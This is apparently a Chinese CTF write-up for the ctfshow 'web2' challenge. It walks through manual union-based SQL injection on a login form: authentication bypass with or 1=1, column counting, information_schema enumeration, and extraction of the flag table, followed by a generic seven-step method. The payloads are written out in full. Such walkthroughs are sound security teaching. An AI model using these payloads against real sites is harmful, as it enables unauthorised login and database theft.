从ctfshow web2 题目梳理sql注入基本思路
题目是 “最简单的SQL注入” ,此题是最基础的SQL注入题目,后端针对前端传入参数不做任何过滤
首先看到传入后端的参数是“用户名”和“密码”,注入点基本可以肯定就是这两个位置。在判断是否存在注入点之前,我们可以构想下后端查询的sql结构,有利于接下来的思路拓展。
可以假设后端的查询语句是:
select <unknown> from table where username='' and password=''
现在我们可以确定的是:
后端提交的SQL查询包含“用户名”、“密码” 两个条件(我假设这两个条件的字段名是 "username"、"password")
我们不能确定的是:
1、后端SQL查询结果中的字段数量,我这里用"<unknown>" 占位
以图解释:
a | b | c | d | ...<unknown> |
2、后端SQL查询结果中如果是多字段,哪些字段中的值会在前端回显?
以图解释:
a | b(回显) | c | d(回显) | ...<unknown> |
3、后端SQL查询结果如果是多行,哪行的值会在前端回显?
以图解释:
a | b(回显) | c | d(回显) | ...<unknown> |
回显 | 回显 | |||
4、SQL查询的这张表是在哪个数据库?表名是什么?表里有什么字段?
在找到注入点之后,我们要先解决的就是以上问题。
一、
现在先找注入点,结合之前构想的SQL语句,我们尝试"username" 这个条件能不能注入
尝试构建:
select <unknown> from table where username='admin' and 1=1 #' and password='asdasdasd'
体现在前端,即:
发现提交后无法登录。
尝试构建:
select <unknown> from table where username='admin' or 1=1 #' and password='asdasdasd'
发现可以登录成功。
因此可以判断,”用户名“即尝试构建的SQL中的”username“字段是注入点。
二、
接下来判断后端SQL查询出的字段数,用order by 指定以结果中的第几字段排序的方法来判断这个数量
尝试构建:
select <unknown> from table where username='admin' or 1=1 order by 3 #' and password='asdasdasd'
select <unknown> from table where username='admin' or 1=1 order by 4 #' and password='asdasdasd'
现在发现order by 4 的情况下会报错,即以查询结果的第四字段排序时报错,因此可以判断查询结果内包含3个字段。
现在后端查询SQL中的<unknown>字段数量已知,目前不知道这个三个字段的名称,所以先用a,b,c占位,新的查询语句为:
select a,b,c from table where username='' and password=''
三、
现在判断查询到的这三个字段中,哪些会回显到前端,可以通过union select 1,2,3 在查询结果中拼接标记数字的方式来判断。
尝试构建:
因union select 拼接的值默认在每个字段最底部,回显字段如果是多行的话,前端可能只回显字段第一行的值,因此需要利用 order by <第n字段> asc排下序,将拼接值排在每个字段的最上面
select a,b,c from table where username='admin' or 1=1 union (select 1,2,3) order by 1 asc #' and password='asdasdasd'
我们将1,2,3三个数字分别拼接在了查询出的三个字段中,现在看到2回显在前端,因此可以判断后端SQL查询的三个字段中,只有b字段在前端回显。因此接下来就要利用这个能回显的字段爆出更多数据。
四、
接下来依然通过拼接的方式爆出这个表所在的数据库名称,这里使用内置的database()函数。
尝试构建:
select a,b,c from table where username='admin' or 1=1 union (select 1,database(),3) order by 1 asc #' and password='asdasdasd'
通过database()函数配合b字段的回显查询到数据库的名称为"web2"。
五、
接下来通过数据库的名称去查询数据库中存在的数据表,可以通过查询mysql内置information_schema库中的columns表得知。
这里通过嵌套SQL的方式来注入查询:
注意,在嵌入的sql查询中要用 limit <起始行>,<偏移量> 限制查询出的行数,如果超过一行,会导致select 1,sql,3拼接失败。
可以通过修改 limit 起始行来遍历 table_name字段的所有值,如 limit 0,1 ; limit 1,1 ; limit 2,1
select a,b,c from table where username='admin' or 1=1 union (select 1,(select table_name from information_schema.columns where table_schema='web2' limit 0,1),3) order by 1 asc #' and password='asdasdasd'
limit 0,1 时查询出flag表
select a,b,c from table where username='admin' or 1=1 union (select 1,(select table_name from information_schema.columns where table_schema='web2' limit 1,1),3) order by 1 asc #' and password='asdasdasd'
limit 1,1时查询出user表
接下来一直到 limit 3,1 都是user表,limit 4,1 无法显示,因此能判断web2数据库内有两张表flag和user
六、
接下来可以通过已知的数据库名,表名来查询表中的字段,同样通过information_schema库中的columns表来查询。
内嵌的查询依然需要limit限制字段行数,以及遍历字段值。
构建:
select a,b,c from table where username='admin' or 1=1 union (select 1,(select column_name from information_schema.columns where table_schema='web2' and table_name='user' limit 0,1),3) order by 1 asc #' and password='asdasdasd'
先查询user表的字段。
以下是从limit 0,1到limit 2,1的结果截图:
可以确定user表有3个字段 id,username,password
接下来查询flag表中的字段。
构建:
select a,b,c from table where username='admin' or 1=1 union (select 1,(select column_name from information_schema.columns where table_schema='web2' and table_name='flag' limit 0,1),3) order by 1 asc #' and password='asdasdasd'
只有limit 0,1能查询到数据,因此flag表内只有一个flag字段
七、
现在可以得知,后端的查询是在 web2数据库中,其中有两张表user和flag。
user表有3个字段 id,username,password。
flag表有一个字段flag
八、
通过以上信息构建嵌套查询,爆出flag即可:
select a,b,c from table where username='admin' or 1=1 union (select 1,(select flag from web2.flag limit 0,1),3) order by 1 asc #' and password='asdasdasd'
九、
通过以上示例总结sql注入的通常思路:
1、先找注入点
2、判断查询出的字段数
3、判断哪些字段回显到前端
4、判断回显字段的哪一行回显到前端
5、用查出来的数据库名称作为条件来判断这个库里有哪些表,在mysql内置的information_schema库的columns表里面可以查到
6、用查出来的表名称作为条件来判断表里有哪些字段,同样在mysql内置的information_schema库的columns表里面可以查到
7、现在已经完全查出 数据库>表>字段的信息了,最终直接查表里想查的字段即可